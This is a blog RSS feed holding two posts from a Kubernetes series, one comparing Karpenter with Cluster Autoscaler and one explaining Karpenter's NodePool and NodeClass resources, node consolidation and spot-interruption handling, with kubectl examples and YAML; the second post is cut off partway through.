<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AWS Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/aws/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/aws/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 27 Jul 2026 11:57:05 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>AWS Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/aws/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Karpenter vs Cluster Autoscaler: Why AWS Built Its Own Scaler</title>
		<link>https://linuxcent.com/karpenter-vs-cluster-autoscaler/</link>
					<comments>https://linuxcent.com/karpenter-vs-cluster-autoscaler/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 27 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Kubernetes Ecosystem]]></category>
		<category><![CDATA[Autoscaling]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cluster Autoscaler]]></category>
		<category><![CDATA[Karpenter]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=2261</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span>Compare Karpenter's just-in-time provisioning to Cluster Autoscaler's node-group model — and understand exactly why AWS built its own scaler.</p>
<p>The post <a href="https://linuxcent.com/karpenter-vs-cluster-autoscaler/">Karpenter vs Cluster Autoscaler: Why AWS Built Its Own Scaler</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Kubernetes Ecosystem: From User to Contributor, Episode 9</em><br />
<a href="/karpenter-node-provisioning/">← EP08: Karpenter</a> · <strong>EP09: Karpenter vs Cluster Autoscaler</strong> · <a href="/kubevirt-vms-on-kubernetes/">EP10: KubeVirt →</a></p>
<p><strong>10 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Karpenter vs Cluster Autoscaler comes down to an architectural ceiling: Cluster Autoscaler has to work generically across every cloud&#8217;s own autoscaling-group abstraction, which caps how smart its instance-selection can ever be</li>
<li>Karpenter throws away the node-group abstraction and talks to the cloud&#8217;s instance-provisioning API directly — that&#8217;s the actual reason AWS built a new tool instead of extending Cluster Autoscaler</li>
<li>Karpenter provisions faster and consolidates more aggressively for cost savings; Cluster Autoscaler&#8217;s scale-down behavior is deliberately more conservative</li>
<li>Cluster Autoscaler remains the only mature option for several smaller cloud providers that don&#8217;t have a Karpenter provider implementation yet</li>
<li>Recommendation: use Karpenter on AWS (and increasingly GKE) if you want its cost and speed advantages; stay on Cluster Autoscaler if you need one consistent tool across multiple clouds or you&#8217;re on a cloud Karpenter doesn&#8217;t support yet</li>
<li>Contribution opportunity: building a Karpenter provider for a smaller, currently-unsupported cloud is real, meaningful, and directly helps teams stuck on Cluster Autoscaler&#8217;s more limited model purely for lack of an alternative</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">CLUSTER AUTOSCALER                          KARPENTER
───────────────────                          ─────────
Generic abstraction: &quot;a node group           Direct: &quot;the cloud&#039;s actual
that can scale from N to M&quot;                  instance-provisioning API&quot;
        │                                            │
Has to work the same way whether             Talks to EC2&#039;s RunInstances API
it&#039;s an AWS ASG, a GCP MIG, or an            (or the equivalent) directly —
Azure VMSS — lowest common                   no generic abstraction ceiling
denominator by necessity                     to work around
        │                                            │
Instance type is WHATEVER the                Instance type is COMPUTED per
node group was pre-configured with           pending pod, from a flexible
                                              allowed range
</code></pre>
<p>Karpenter vs Cluster Autoscaler isn&#8217;t &#8220;new tool, old tool&#8221; — it&#8217;s a direct consequence of Cluster Autoscaler&#8217;s cross-cloud genericness being both its strength (works everywhere) and its ceiling (can never be smarter than the lowest common denominator of every cloud&#8217;s node-group abstraction).</p>
<hr />
<h2 id="why-aws-built-karpenter-instead-of-improving-cluster-autoscaler">Why AWS Built Karpenter Instead of Improving Cluster Autoscaler</h2>
<p>Cluster Autoscaler was designed to work identically across clouds by scaling pre-existing node groups — ASGs on AWS, Managed Instance Groups on GCP, VM Scale Sets on Azure. That design constraint is exactly what limits it: it can only ever choose among the instance types and sizes someone already configured into a node group ahead of time, and it can only scale that group up or down as a unit.</p>
<p>AWS&#8217;s actual motivation for building Karpenter was to remove that ceiling entirely for their own cloud — by talking to EC2&#8217;s provisioning APIs directly, Karpenter can select from the full range of instance types AWS offers for every single provisioning decision, not just whatever a handful of pre-configured node groups happen to offer.</p>
<hr />
<h2 id="provisioning-speed-compared">Provisioning Speed Compared</h2>
<pre><code class="" data-line=""># Cluster Autoscaler: must first identify which existing node group to
# scale, then wait for that group&#039;s own scaling mechanism (an ASG launch,
# for instance) to complete
$ kubectl get events --field-selector reason=TriggeredScaleUp
# typically 1-3 minutes to a new node being schedulable

# Karpenter: computes the instance directly and calls the provisioning
# API without an intermediate node-group scaling step
$ kubectl get nodeclaims
# typically under a minute from pending pod to a schedulable node
</code></pre>
<p>The speed difference isn&#8217;t marginal at scale — for workloads with bursty, latency-sensitive scaling needs (batch job spikes, CI runner fleets), the extra minute or two Cluster Autoscaler&#8217;s node-group indirection adds is a real, felt difference, not a rounding error.</p>
<hr />
<h2 id="cost-efficiency-consolidation-vs-cas-more-conservative-scale-down">Cost Efficiency: Consolidation vs CA&#8217;s More Conservative Scale-Down</h2>
<p>Karpenter&#8217;s consolidation behavior (EP08) actively looks for cheaper node configurations continuously, not just when pods are pending. Cluster Autoscaler&#8217;s scale-down logic is deliberately more conservative — it removes clearly-empty or clearly-underutilized nodes, but doesn&#8217;t proactively repack workloads onto fewer, better-fitting nodes the way Karpenter does by design. Teams migrating from Cluster Autoscaler to Karpenter commonly report meaningful compute cost reductions purely from this behavioral difference, independent of any instance-selection improvement.</p>
<hr />
<h2 id="where-cluster-autoscaler-is-still-the-right-choice">Where Cluster Autoscaler Is Still the Right Choice</h2>
<p><strong>Multi-cloud consistency needs:</strong> if your platform runs on AWS, GCP, and Azure and you want one autoscaling tool behaving identically everywhere, Cluster Autoscaler&#8217;s cross-cloud design is a genuine advantage — Karpenter&#8217;s provider maturity still varies significantly by cloud.</p>
<p><strong>Clouds without a mature Karpenter provider:</strong> several smaller cloud providers have no Karpenter implementation at all — Cluster Autoscaler, or that cloud&#8217;s own native autoscaler, remains the only real option.</p>
<p><strong>Teams not hitting Cluster Autoscaler&#8217;s actual limits:</strong> if your workloads are stable, predictable, and your existing node groups already fit them well, Karpenter&#8217;s advantages may not be worth a migration — Cluster Autoscaler is mature, stable, and well-understood.</p>
<hr />
<h2 id="the-recommendation">The Recommendation</h2>
<p><strong>On AWS specifically, and increasingly on GKE:</strong> default to Karpenter. The provisioning speed and consolidation cost savings are real and well-documented at this point, and this is where Karpenter&#8217;s provider maturity is strongest.</p>
<p><strong>On any cloud without a mature Karpenter provider, or in a genuinely multi-cloud platform wanting one consistent tool:</strong> stay on Cluster Autoscaler. Don&#8217;t migrate for the sake of using the newer tool if your actual cloud or requirements don&#8217;t play to Karpenter&#8217;s strengths yet.</p>
<p><strong>Don&#8217;t run both against the same node pool.</strong> Pick one scaler per cluster (or per clearly-separated node pool if you&#8217;re genuinely transitioning) — having both react to the same pending pods produces exactly the kind of conflicting-controller behavior you&#8217;d expect.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Migrating from Cluster Autoscaler to Karpenter mid-cluster requires careful sequencing, not a simultaneous cutover.</strong> Run them against separate, clearly labeled node pools during migration, and fully decommission Cluster Autoscaler&#8217;s management of a pool before letting Karpenter manage the same workloads.</p>
<p><strong>Cluster Autoscaler&#8217;s node-group-based cost estimates and Karpenter&#8217;s per-instance cost awareness aren&#8217;t directly comparable without normalizing for what each is actually measuring.</strong> Don&#8217;t assume a raw percentage cost-savings figure from a vendor blog post transfers directly to your own workload mix.</p>
<p><strong>Karpenter provider maturity genuinely varies by cloud — check the specific provider&#8217;s current feature list, not just &#8220;does Karpenter support my cloud&#8221; as a yes/no question.</strong></p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th></th>
<th>Cluster Autoscaler</th>
<th>Karpenter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Abstraction</td>
<td>Pre-defined node groups</td>
<td>Direct instance provisioning</td>
</tr>
<tr>
<td>Cross-cloud consistency</td>
<td>Strong (by design)</td>
<td>Varies — provider maturity differs by cloud</td>
</tr>
<tr>
<td>Provisioning speed</td>
<td>Slower (node-group indirection)</td>
<td>Faster (direct API calls)</td>
</tr>
<tr>
<td>Cost optimization</td>
<td>Conservative scale-down</td>
<td>Active, continuous consolidation</td>
</tr>
<tr>
<td>Best fit</td>
<td>Multi-cloud, stable workloads, unsupported clouds</td>
<td>AWS/GKE, dynamic workloads, cost-sensitive fleets</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="contribution-opportunity-a-karpenter-provider-for-an-unsupported-cloud">Contribution Opportunity: A Karpenter Provider for an Unsupported Cloud</h2>
<p><strong>The limitation:</strong> Teams running on smaller cloud providers — several exist with real production Kubernetes usage but no Karpenter implementation — are stuck with Cluster Autoscaler&#8217;s node-group model purely because nobody has built the equivalent Karpenter provider for their cloud, not because Cluster Autoscaler is actually the better fit for their workload.</p>
<p><strong>Why it&#8217;s hard to fix:</strong> Building a new cloud provider for Karpenter means implementing that cloud&#8217;s instance-provisioning API integration, its spot/preemptible-equivalent interruption handling, and its networking/subnet discovery model from scratch — a genuine, multi-week engineering effort with no existing template for that specific cloud, even though the AWS and GCP providers exist as architectural references.</p>
<p><strong>What a contribution-shaped fix looks like:</strong> Karpenter&#8217;s core (<code class="" data-line="">kubernetes-sigs/karpenter</code>) is explicitly designed to support multiple cloud providers as separate implementations of a defined interface — the AWS and GCP provider source code is the reference for what a new provider needs to implement. For an engineer who already runs production Kubernetes on an unsupported cloud, building a minimal provider — even one covering just basic on-demand instance provisioning, without full spot/consolidation parity at first — is a real, high-value, currently-missing contribution that directly serves other teams on that same cloud stuck with no alternative to Cluster Autoscaler.</p>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Karpenter exists because Cluster Autoscaler&#8217;s cross-cloud node-group abstraction is a genuine architectural ceiling, not because Cluster Autoscaler was poorly built</li>
<li>Karpenter provisions faster and consolidates more aggressively for cost savings — real, measurable advantages on the clouds it supports well</li>
<li>Cluster Autoscaler remains the right choice for genuine multi-cloud consistency needs and for clouds without a mature Karpenter provider</li>
<li>Never run both scalers against the same node pool simultaneously</li>
<li>Building a Karpenter provider for a currently-unsupported cloud is a real, high-value contribution with existing architectural references (AWS, GCP) to learn from</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Every tool so far in this series has assumed container workloads. EP10 closes the series with KubeVirt — running actual virtual machines as first-class citizens alongside pods on the same cluster, and why that migration path still matters in a container-first world.</p>
<p><em>Next: <a href="/kubevirt-vms-on-kubernetes/">EP10 — KubeVirt: Running VMs on Kubernetes — and Why That Still Matters</a></em></p>
<p>Get EP10 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-vs-cluster-autoscaler%2F&amp;linkname=Karpenter%20vs%20Cluster%20Autoscaler%3A%20Why%20AWS%20Built%20Its%20Own%20Scaler" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-vs-cluster-autoscaler%2F&amp;linkname=Karpenter%20vs%20Cluster%20Autoscaler%3A%20Why%20AWS%20Built%20Its%20Own%20Scaler" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-vs-cluster-autoscaler%2F&amp;linkname=Karpenter%20vs%20Cluster%20Autoscaler%3A%20Why%20AWS%20Built%20Its%20Own%20Scaler" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-vs-cluster-autoscaler%2F&amp;linkname=Karpenter%20vs%20Cluster%20Autoscaler%3A%20Why%20AWS%20Built%20Its%20Own%20Scaler" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-vs-cluster-autoscaler%2F&amp;linkname=Karpenter%20vs%20Cluster%20Autoscaler%3A%20Why%20AWS%20Built%20Its%20Own%20Scaler" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-vs-cluster-autoscaler%2F&amp;linkname=Karpenter%20vs%20Cluster%20Autoscaler%3A%20Why%20AWS%20Built%20Its%20Own%20Scaler" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-vs-cluster-autoscaler%2F&amp;linkname=Karpenter%20vs%20Cluster%20Autoscaler%3A%20Why%20AWS%20Built%20Its%20Own%20Scaler" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkarpenter-vs-cluster-autoscaler%2F&#038;title=Karpenter%20vs%20Cluster%20Autoscaler%3A%20Why%20AWS%20Built%20Its%20Own%20Scaler" data-a2a-url="https://linuxcent.com/karpenter-vs-cluster-autoscaler/" data-a2a-title="Karpenter vs Cluster Autoscaler: Why AWS Built Its Own Scaler"></a></p><p>The post <a href="https://linuxcent.com/karpenter-vs-cluster-autoscaler/">Karpenter vs Cluster Autoscaler: Why AWS Built Its Own Scaler</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/karpenter-vs-cluster-autoscaler/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2261</post-id>	</item>
		<item>
		<title>Karpenter: Just-in-Time Node Provisioning for Kubernetes</title>
		<link>https://linuxcent.com/karpenter-node-provisioning/</link>
					<comments>https://linuxcent.com/karpenter-node-provisioning/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 25 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Kubernetes Ecosystem]]></category>
		<category><![CDATA[Autoscaling]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cost Optimization]]></category>
		<category><![CDATA[Karpenter]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=2258</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span>See how Karpenter provisions Kubernetes nodes just-in-time from real pod requirements — and why that beats the node-group model it replaces.</p>
<p>The post <a href="https://linuxcent.com/karpenter-node-provisioning/">Karpenter: Just-in-Time Node Provisioning for Kubernetes</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Kubernetes Ecosystem: From User to Contributor, Episode 8</em><br />
<a href="/crossplane-vs-terraform/">← EP07: Crossplane vs Terraform</a> · <strong>EP08: Karpenter</strong> · <a href="/karpenter-vs-cluster-autoscaler/">EP09: Karpenter vs Cluster Autoscaler →</a></p>
<p><strong>11 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Karpenter node provisioning means no pre-defined node groups at all — it looks at pending pods&#8217; actual resource requests and provisions the specific instance type and size that fits, directly</li>
<li><strong>NodePool</strong> and <strong>NodeClass</strong> are Karpenter&#8217;s two core CRDs: NodePool declares provisioning constraints and instance-type flexibility, NodeClass declares the cloud-specific details (AMI, subnets, security groups)</li>
<li><strong>Consolidation</strong> is Karpenter&#8217;s continuous bin-packing behavior — it doesn&#8217;t just scale up when pods are pending, it actively replaces underutilized nodes with better-fitting ones to reduce cost</li>
<li>Karpenter handles spot interruption notices natively, draining gracefully before the two-minute warning expires, rather than relying on a separate spot-handling daemon</li>
<li>Originally AWS-only, Karpenter has been donated to Kubernetes SIGs specifically to become a cross-cloud project — provider parity for GKE, AKS, and others is real, current, in-progress work</li>
<li>Contribution opportunity: non-AWS provider feature parity is an explicitly open area with active upstream tracking — a genuinely current place to contribute</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">CLUSTER AUTOSCALER MODEL                    KARPENTER MODEL
─────────────────────────                    ────────────────
Pre-defined node groups                      No node groups
(ASG A: m5.large, ASG B: m5.xlarge, ...)     Pending pod: needs 2 vCPU, 4Gi
        │                                            │
Pod pending, no capacity                     Karpenter evaluates: cheapest
        │                                    instance type that actually
Scale UP the node group                      fits, from a flexible list —
that (roughly) fits                          could be any instance family
        │                                    allowed by the NodePool
New node joins — may be                              │
oversized or undersized                      Provisions exactly that instance
for the actual pod                           — right-sized to the real
                                              pending workload
</code></pre>
<p>Karpenter node provisioning removes the middle abstraction layer entirely — instead of scaling a pre-sized group and hoping the group&#8217;s instance type roughly matches what&#8217;s pending, it computes the actual best-fit instance for the actual pending pods, every time.</p>
<hr />
<h2 id="nodepool-and-nodeclass-karpenters-core-crds">NodePool and NodeClass: Karpenter&#8217;s Core CRDs</h2>
<pre><code class="" data-line="">apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
  name: general-purpose
spec:
  template:
    spec:
      requirements:
      - key: karpenter.k8s.aws/instance-category
        operator: In
        values: [&quot;c&quot;, &quot;m&quot;, &quot;r&quot;]      # flexible across instance families
      - key: karpenter.k8s.aws/instance-generation
        operator: Gt
        values: [&quot;4&quot;]
      nodeClassRef:
        name: default
  disruption:
    consolidationPolicy: WhenUnderutilized
    expireAfter: 720h
---
apiVersion: karpenter.k8s.aws/v1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: AL2023
  subnetSelectorTerms:
  - tags: {karpenter.sh/discovery: my-cluster}
  securityGroupSelectorTerms:
  - tags: {karpenter.sh/discovery: my-cluster}
</code></pre>
<p><code class="" data-line="">NodePool</code> says &#8220;here&#8217;s the range of instance types you&#8217;re allowed to choose from, and here&#8217;s the disruption policy&#8221; — it&#8217;s about scheduling flexibility. <code class="" data-line="">EC2NodeClass</code> (or the equivalent for other providers) says &#8220;here&#8217;s the actual cloud-specific detail&#8221; — AMI, subnets, security groups. Splitting these two concerns is deliberate: a platform team can offer multiple NodePools with different cost/performance trade-offs, all referencing the same underlying NodeClass.</p>
<hr />
<h2 id="how-karpenter-actually-picks-an-instance-type">How Karpenter Actually Picks an Instance Type</h2>
<pre><code class="" data-line="">$ kubectl get nodeclaims
NAME            TYPE          ZONE         NODE               READY   AGE
general-x7k2l   c6a.xlarge    us-east-1a   ip-10-0-1-42...    True    45s

$ kubectl describe nodeclaim general-x7k2l
...
Events:
  Reason              Message
  ------              -------
  Launched            Launched instance: i-0abc123... c6a.xlarge
  #                    ^^^^^^^^^^ — chosen because it was the cheapest
  #                    instance type in the allowed range that fit
  #                    the pending pods&#039; actual CPU/memory requests
</code></pre>
<p>A <code class="" data-line="">NodeClaim</code> is the record of one provisioning decision — it shows exactly which instance type Karpenter chose and why, unlike a node-group scale-up event, which just tells you the group&#8217;s already-fixed instance type was used again regardless of fit.</p>
<hr />
<h2 id="consolidation-karpenters-continuous-bin-packing">Consolidation: Karpenter&#8217;s Continuous Bin-Packing</h2>
<pre><code class="" data-line=""># Karpenter continuously evaluates whether existing nodes could be
# consolidated into fewer, better-utilized nodes
$ kubectl get nodeclaims -o wide
NAME            TYPE         CPU-UTIL   MEM-UTIL
node-a          m5.2xlarge   15%        20%
node-b          m5.2xlarge   18%        22%
#                                             both underutilized — Karpenter
#                                             may consolidate these two onto
#                                             a single, smaller instance
</code></pre>
<p>This is the behavior that most differentiates Karpenter from a traditional autoscaler: it doesn&#8217;t just react to pending pods by scaling up. It continuously looks for opportunities to replace a set of underutilized nodes with fewer, better-fitting ones — actively working to reduce cost, not just meet demand.</p>
<hr />
<h2 id="interruption-handling-spot-instances-done-right">Interruption Handling: Spot Instances Done Right</h2>
<pre><code class="" data-line=""># Karpenter watches for AWS&#039;s spot interruption notice natively
$ kubectl get events --field-selector reason=DisruptionTerminating
LAST SEEN   REASON                  MESSAGE
5s          DisruptionTerminating   Node terminating due to spot interruption,
                                     draining pods gracefully before 2-minute deadline
</code></pre>
<p>Before Karpenter, handling spot interruptions gracefully typically meant running a separate tool (like AWS Node Termination Handler) alongside your autoscaler. Karpenter builds this in directly — it&#8217;s part of the same controller making the original provisioning decision, not a bolted-on separate system watching for the same signal independently.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Aggressive consolidation without a properly configured <code class="" data-line="">PodDisruptionBudget</code> can cause more pod churn than teams expect.</strong> Karpenter respects PDBs, but if you haven&#8217;t set them, consolidation can evict pods more freely than a team used to Cluster Autoscaler&#8217;s more conservative default behavior anticipated.</p>
